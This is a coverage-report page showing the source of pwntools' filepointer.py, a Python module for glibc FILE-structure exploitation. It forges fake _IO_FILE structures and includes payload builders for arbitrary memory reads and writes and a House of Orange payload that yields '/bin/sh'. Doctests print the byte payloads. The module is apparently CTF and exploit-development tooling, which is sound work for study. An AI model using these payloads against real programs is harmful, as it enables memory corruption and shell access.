• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 1

13 May 2020 06:32AM UTC coverage: 0.0% (-72.5%) from 72.53%
1

push

github

web-flow
Fix CHANGELOG.md

* Fix bunch of invalid PR/commit link  
* Merge two 3.12.1 into one 3.12.1  
* Add 3.12.2

0 of 15485 relevant lines covered (0.0%)

0.0 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

0.0
/pwnlib/filepointer.py
1
# -*- coding: utf-8 -*-
2

3
r"""
4
File Structure Exploitation
5

6
struct FILE (_IO_FILE) is the structure for File Streams. This offers various targets for exploitation on an existing bug in the code. Examples - _IO_buf_base and _IO_buf_end for reading data to arbitrary location.
7

8
Remembering the offsets of various structure members while faking a FILE structure can be difficult, so this python class helps you with that. Example-
9

10
>>> context.clear(arch='amd64')
11
>>> fileStr = FileStructure(null=0xdeadbeef)
12
>>> fileStr.vtable = 0xcafebabe
13
>>> payload = bytes(fileStr)
14
>>> payload
15
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
16

17
Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
18

19
Currently only 'amd64' and 'i386' architectures are supported
20
"""
21

22
from __future__ import absolute_import
×
23
from __future__ import division
×
24

25
from pwnlib.context import context
×
26
from pwnlib.log import getLogger
×
27
from pwnlib.util.packing import pack
×
28

29
log = getLogger(__name__)
×
30

31
length=0
×
32
size='size'
×
33
name='name'
×
34

35
variables={
×
36
    0:{name:'flags',size:length},
37
    1:{name:'_IO_read_ptr',size:length},
38
    2:{name:'_IO_read_end',size:length},
39
    3:{name:'_IO_read_base',size:length},
40
    4:{name:'_IO_write_base',size:length},
41
    5:{name:'_IO_write_ptr',size:length},
42
    6:{name:'_IO_write_end',size:length},
43
    7:{name:'_IO_buf_base',size:length},
44
    8:{name:'_IO_buf_end',size:length},
45
    9:{name:'_IO_save_base',size:length},
46
    10:{name:'_IO_backup_base',size:length},
47
    11:{name:'_IO_save_end',size:length},
48
    12:{name:'markers',size:length},
49
    13:{name:'chain',size:length},
50
    14:{name:'fileno',size:4},
51
    15:{name:'_flags2',size:4},
52
    16:{name:'_old_offset',size:length},
53
    17:{name:'_cur_column',size:2},
54
    18:{name:'_vtable_offset',size:1},
55
    19:{name:'_shortbuf',size:1},
56
    20:{name:'unknown1',size:-4},
57
    21:{name:'_lock',size:length},
58
    22:{name:'_offset',size:8},
59
    23:{name:'_codecvt',size:length},
60
    24:{name:'_wide_data',size:length},
61
    25:{name:'unknown2',size:length},
62
    26:{name:'vtable',size:length}
63
}
64

65

66
def update_var(l):
×
67
    r"""
68
    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
69

70
    Arguments:
71
        l(int)
72
            l=8 for 'amd64' architecture and l=4 for 'i386' architecture
73

74
    Return Value:
75
        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
76

77
    Examples:
78

79
        >>> update_var(8)
80
        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
81
    """
82
    var={}
×
83
    for i in variables:
×
84
        var[variables[i]['name']]=variables[i]['size']
×
85
    for i in var:
×
86
        if var[i]<=0:
×
87
            var[i]+=l
×
88
    if l==4:
×
89
        var['unknown2']=56
×
90
    else:
91
        var['unknown2']=48
×
92
    return var
×
93

94
class FileStructure(object):
×
95
    r"""
96
    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
97

98
    Arguments:
99
        null(int)
100
            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
101

102
    Examples:
103

104
        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
105

106
        >>> context.clear(arch='amd64')
107
        >>> fileStr = FileStructure(null=0xdeadbeeef)
108
        >>> fileStr.flags = 0xfbad1807
109
        >>> fileStr._IO_buf_base = 0xcafebabe
110
        >>> fileStr._IO_buf_end = 0xfacef00d
111
        >>> payload = bytes(fileStr)
112
        >>> payload
113
        b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
114

115
        Check the length of the FileStructure
116

117
        >>> len(fileStr)
118
        224
119

120
        The defination for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
121

122
        >>> q=FileStructure(0xdeadbeef)
123
        >>> q
124
        { flags: 0x0
125
         _IO_read_ptr: 0x0
126
         _IO_read_end: 0x0
127
         _IO_read_base: 0x0
128
         _IO_write_base: 0x0
129
         _IO_write_ptr: 0x0
130
         _IO_write_end: 0x0
131
         _IO_buf_base: 0x0
132
         _IO_buf_end: 0x0
133
         _IO_save_base: 0x0
134
         _IO_backup_base: 0x0
135
         _IO_save_end: 0x0
136
         markers: 0x0
137
         chain: 0x0
138
         fileno: 0x0
139
         _flags2: 0x0
140
         _old_offset: 0xffffffffffffffff
141
         _cur_column: 0x0
142
         _vtable_offset: 0x0
143
         _shortbuf: 0x0
144
         unknown1: 0x0
145
         _lock: 0xdeadbeef
146
         _offset: 0xffffffffffffffff
147
         _codecvt: 0x0
148
         _wide_data: 0xdeadbeef
149
         unknown2: 0x0
150
         vtable: 0x0}
151
    """
152

153
    vars_=[]
×
154
    length={}
×
155

156
    def __init__(self, null=0):
×
157
            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
×
158
            self.setdefault(null)
×
159
            self.length = update_var(context.bytes)
×
160
            self._old_offset = (1 << context.bits) - 1
×
161

162
    def __setattr__(self,item,value):
×
163
        if item in FileStructure.__dict__ or item in self.vars_:
×
164
            object.__setattr__(self,item,value)
×
165
        else:
166
            log.error("Unknown variable %r" % item)
×
167

168
    def __repr__(self):
×
169
        structure=[]
×
170
        for i in self.vars_:
×
171
            structure.append(" %s: %s" % (i,hex(self.__getattr__(i))))
×
172
        return "{"+ "\n".join(structure)+"}"
×
173

174
    def __getattr__(self,item):
×
175
        if item in FileStructure.__dict__ or item in self.vars_:
×
176
            return object.__getattribute__(self,item)
×
177
        log.error("Unknown variable %r" % item)
×
178

179
    def __len__(self):
×
180
        return len(bytes(self))
×
181

182
    def __bytes__(self):
×
183
        structure = b''
×
184
        for val in self.vars_:
×
185
            if isinstance(self.__getattr__(val), bytes):
×
186
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
187
            else:
188
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
189
        return structure
×
190
    __str__ = __bytes__
×
191

192
    def struntil(self,v):
×
193
        r"""
194
        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
195

196
        Arguments:
197
            v(string)
198
                The name of the field uptil which the payload should be created.
199

200
        Example:
201

202
            Payload for data uptil _IO_buf_end
203

204
            >>> context.clear(arch='amd64')
205
            >>> fileStr = FileStructure(0xdeadbeef)
206
            >>> payload = fileStr.struntil("_IO_buf_end")
207
            >>> payload
208
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
209
        """
210
        if v not in self.vars_:
×
211
            return b''
×
212
        structure = b''
×
213
        for val in self.vars_:
×
214
            if isinstance(self.__getattr__(val), bytes):
×
215
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
216
            else:
217
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
218
            if val == v:
×
219
                break
×
220
        return structure[:-1]
×
221

222
    def setdefault(self,null):
×
223
            self.flags=0
×
224
            self._IO_read_ptr=0
×
225
            self._IO_read_end=0
×
226
            self._IO_read_base=0
×
227
            self._IO_write_base=0
×
228
            self._IO_write_ptr=0
×
229
            self._IO_write_end=0
×
230
            self._IO_buf_base=0
×
231
            self._IO_buf_end=0
×
232
            self._IO_save_base=0
×
233
            self._IO_backup_base=0
×
234
            self._IO_save_end=0
×
235
            self.markers=0
×
236
            self.chain=0
×
237
            self.fileno=0
×
238
            self._flags2=0
×
239
            self._old_offset=0
×
240
            self._cur_column=0
×
241
            self._vtable_offset=0
×
242
            self._shortbuf=0
×
243
            self.unknown1=0
×
244
            self._lock=null
×
245
            self._offset=0xffffffffffffffff
×
246
            self._codecvt=0
×
247
            self._wide_data=null
×
248
            self.unknown2=0
×
249
            self.vtable=0
×
250

251
    def write(self,addr=0,size=0):
×
252
        r"""
253
        Writing data out from arbitrary memory address.
254

255
        Arguments:
256
            addr(int)
257
                The address from which data is to be printed to stdout
258
            size(int)
259
                The size, in bytes, of the data to be printed
260

261
        Example:
262

263
            Payload for writing 100 bytes to stdout from the address 0xcafebabe
264

265
            >>> context.clear(arch='amd64')
266
            >>> fileStr = FileStructure(0xdeadbeef)
267
            >>> payload = fileStr.write(addr=0xcafebabe, size=100)
268
            >>> payload
269
            b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
270
        """
271
        self.flags &=~8
×
272
        self.flags |=0x800
×
273
        self._IO_write_base = addr
×
274
        self._IO_write_ptr = addr+size
×
275
        self._IO_read_end = addr
×
276
        self.fileno = 1
×
277
        return self.struntil('fileno')
×
278

279
    def read(self,addr=0,size=0):
×
280
        r"""
281
        Reading data into arbitrary memory location.
282

283
        Arguments:
284
            addr(int)
285
                The address into which data is to be written from stdin
286
            size(int)
287
                The size, in bytes, of the data to be written
288

289
        Example:
290

291
            Payload for reading 100 bytes from stdin into the address 0xcafebabe
292

293
            >>> context.clear(arch='amd64')
294
            >>> fileStr = FileStructure(0xdeadbeef)
295
            >>> payload = fileStr.read(addr=0xcafebabe, size=100)
296
            >>> payload
297
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
298
        """
299
        self.flags &=~4
×
300
        self._IO_read_base = 0
×
301
        self._IO_read_ptr = 0
×
302
        self._IO_buf_base = addr
×
303
        self._IO_buf_end = addr+size
×
304
        self.fileno = 0
×
305
        return self.struntil('fileno')
×
306

307
    def orange(self,io_list_all,vtable):
×
308
        r"""
309
        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.
310

311
        Arguments:
312
            io_list_all(int)
313
                Address of _IO_list_all in libc.
314
            vtable(int)
315
                Address of the fake vtable in memory
316

317
        Example:
318

319
            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
320

321
            >>> context.clear(arch='amd64')
322
            >>> fileStr = FileStructure(0xdeadbeef)
323
            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
324
            >>> payload
325
            b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
326
        """
327
        if context.bits == 64:
×
328
            self.flags = b'/bin/sh\x00'
×
329
            self._IO_read_ptr = 0x61
×
330
            self._IO_read_base = io_list_all-0x10
×
331
        elif context.bits == 32:
×
332
            self.flags = b'sh\x00'
×
333
            self._IO_read_ptr = 0x121
×
334
            self._IO_read_base = io_list_all-0x8
×
335
        self._IO_write_base = 0
×
336
        self._IO_write_ptr = 1
×
337
        self.vtable = vtable
×
338
        return self.__bytes__()
×
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2026 Coveralls, Inc